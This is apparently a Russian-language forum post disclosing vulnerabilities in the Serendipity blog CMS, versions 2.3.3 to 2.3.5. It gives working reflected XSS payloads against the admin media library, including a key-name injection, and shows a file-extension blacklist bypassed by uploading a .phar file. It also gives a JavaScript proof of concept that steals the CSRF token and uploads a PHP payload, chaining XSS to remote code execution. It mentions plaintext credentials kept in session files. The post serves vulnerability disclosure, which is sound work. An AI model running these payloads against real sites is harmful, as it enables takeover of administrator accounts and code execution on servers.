Бегло пробежался. Оф.сайт - s9y.org Уязвимы 2.3.3 - 2.3.5, возможно более ренние версии. Reflected XSS в админке #1 XSS в поле поиска Media файлов - Media Library. Пример запроса: Code: http://localhost.com/serendipity/serendipity_admin.php?serendipity[token]=86ff44208384e04d098c1ee7b69761e0&serendipity[adminModule]=media&serendipity[action]=&serendipity[adminAction]=&serendipity[toggle_dir]=no&serendipity[only_path]=&serendipity[only_filename]=&serendipity[filter]=&serendipity[only_path]=&serendipity[filter][fileCategory]=&serendipity[filter][i.date][from]=&serendipity[filter][i.date][to]=&serendipity[filter][i.name]=&serendipity[keywords]=&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC&serendipity[sortorder][perpage]=8&go=Go! 1) Уязвимые поля: serendipity[filter][fileCategory] serendipity[filter][i.name] serendipity[filter][i.date][from] serendipity[filter][i.date][to] serendipity[sortorder][order] serendipity[sortorder][ordermode] serendipity[sortorder][perpage] serendipity[hideSubdirFiles] 2) Наша страница содержится в templates/2k11/admin/media_items.tpl Добираясь, наши данные проходят три функции в include/functions_images.inc.php showMediaLibrary -> serendipity_displayImageList -> serendipity_showMedia -> media_pane.tpl Несмотря на то, что с формой отправляется токен, ни в одной из этих функций нет проверки CSRF токена, форма работает как с токеном так и без него. 3) Некоторые элементы массива фильтруются еще до попадания в media_items.tpl, например serendipity[only_path] или serendipity[only_filename], другие средставами шаблонизатора Smarty в самом файле, но указанные выше -нет и попадают они вот сюда: Code: <script> $(document).ready(function() { // write: is plain "foo", read: is "serendipity[foo]"! {foreach $media.sortParams AS $sortParam} serendipity.SetCookie("sortorder_{$sortParam}","{$media.sortorder.{$sortParam}}"); {/foreach} {foreach $media.filterParams AS $filterParam} serendipity.SetCookie("{$filterParam}", "{$media.{$filterParam}}"); {/foreach} serendipity.SetCookie("only_path", "{$media.only_path}"); serendipity.SetCookie("only_filename", "{$media.only_filename}"); serendipity.SetCookie("hideSubdirFiles", "{$media.hideSubdirFiles}"); {foreach $media.filter AS $k => $v} {if !is_array($media.filter[{$k}])} serendipity.SetCookie("[filter][{$k}]", "{$media.filter[{$k}]}"); {else} {foreach $media.filter[{$k}] AS $key => $val} serendipity.SetCookie("[filter][{$k}][{$key}]", "{$media.filter[{$k}][{$key}]}"); {/foreach} {/if} {/foreach} $('#media_pane_filter').find('.reset_media_filters').addClass('reset_filter'); $('#media_pane_sort').find('.reset_media_filters').addClass('reset_sort'); $('.reset_filter').click(function() { $('#media_filter').find('input[type=text], input[type=date]').each(function() { $(this).attr('value', ''); }); }); $('.reset_sort').click(function() { $("#serendipity_sortorder_order option:selected").removeAttr("selected"); $("#serendipity_sortorder_order option[value='i.date']").attr('selected', 'selected'); $("#serendipity_sortorder_perpage option:selected").removeAttr("selected"); $("#serendipity_sortorder_perpage option[value='8']").attr('selected', 'selected'); }); }); </script> Пройдет простой </script><script>alert()</script> Reflected XSS в админке #2 Тот же файл, те же функции, но теперь необходимо обратить внимание на самое начало шаблона media_items.tpl: Code: <div class="has_toolbar"> <h2>{$CONST.MEDIA_LIBRARY}</h2> <form id="media_library_control" method="get" action="?"> {$media.token} {if empty($media.form_hidden)} <input type="hidden" name="serendipity[adminModule]" value="media"> <input type="hidden" name="serendipity[action]" value=""> <input type="hidden" name="serendipity[adminAction]" value=""> <input type="hidden" name="serendipity[only_path]" value="{$media.only_path}"> {else}{$media.form_hidden}{/if} Тут понятно, элемент form_hidden массива media пустой - выводим шаблон, не пустой - выводим form_hidden. Откуда он берется? include/functions_images.inc.php:serendipity_showMedia() PHP: $form_hidden = ''; // do not add, if not for the default media list form if (($serendipity['GET']['adminAction'] == 'default' || empty($serendipity['GET']['adminAction'])) && !$serendipity['GET']['fid']) { foreach($serendipity['GET'] AS $g_key => $g_val) { // do not add token, since this is assigned separately to properties and list forms if (!is_array($g_val) && $g_key != 'page' && $g_key != 'token') { $form_hidden .= ' <input type="hidden" name="serendipity[' . $g_key . ']" value="' . serendipity_specialchars($g_val) . '">'."\n"; } } } // далее $form_hidden попадает в $media Ключи массива не фильтруются, в отличии от значений и попадают в файл шаблона. Можно передать serendipity[хоть_что], например serendipity["/><script>alert()</script>]=XSS. XSS в имени ключа также справедливо и для serendipity[filter][*] несмотря на то что попадает в код, указанный для XSS #1. Insecure File Upload в админке Загрузка файлов - это наверное первое на что стоит обратить внимание. Нам разрешается загрузка широкого диапозона файлов, за исключением файлов "with active content". А проверяется он по расширению - black list. include/functions_images.inc.php:serendipity_isActiveFile() PHP: function serendipity_isActiveFile($file) { if (preg_match('@^\.@', $file)) { return true; } $core = preg_match('@\.(php.*|[psj]html?|pht|aspx?|cgi|jsp|py|pl)$@i', $file); if ($core) { return true; } $eventData = false; serendipity_plugin_api::hook_event('backend_media_check', $eventData, $file); return $eventData;} И мы спокойненько грузим phpinfo.phar с содержимым: Code: <?php phpinfo(); ?>
Небольшое дополнение. Демонстративный POC XSS->RCE via Phar Code: let page = 'http://localhost.com/serendipity/serendipity_admin.php?serendipity[adminModule]=media'; function stealToken(data) { let dom = new DOMParser(); let doc = dom.parseFromString(data, "text/html"); let input = doc.getElementsByName("serendipity[token]")[0]; submit(input.value); }; function submit(token) { let blob = new Blob(["<?php phpinfo(); ?>"], {type: 'application/octet-stream'}); let formData = new FormData(); formData.append("serendipity[token]", token); formData.append("serendipity[action]", "admin"); formData.append("serendipity[adminModule]", "media"); formData.append("serendipity[adminAction]", "add"); formData.append("serendipity[userfile][1]", blob, "0evil.phar"); formData.append("serendipity[target_filename][1]", ""); formData.append("serendipity[target_directory][1]", "uploads/"); formData.append("serendipity[column_count][1]", "true"); formData.append("serendipity[imageurl]", ""); formData.append("serendipity[target_filename][]", ""); formData.append("serendipity[target_directory][]", ""); fetch(page, { method: 'POST', body: formData }); } fetch(page) .then(r => r.text()) .then(d => { stealToken(d) }); Плюс не бага, но важно - в файлах сессии хранятся в открытом виде логин, пароль, почта, чего быть не должно.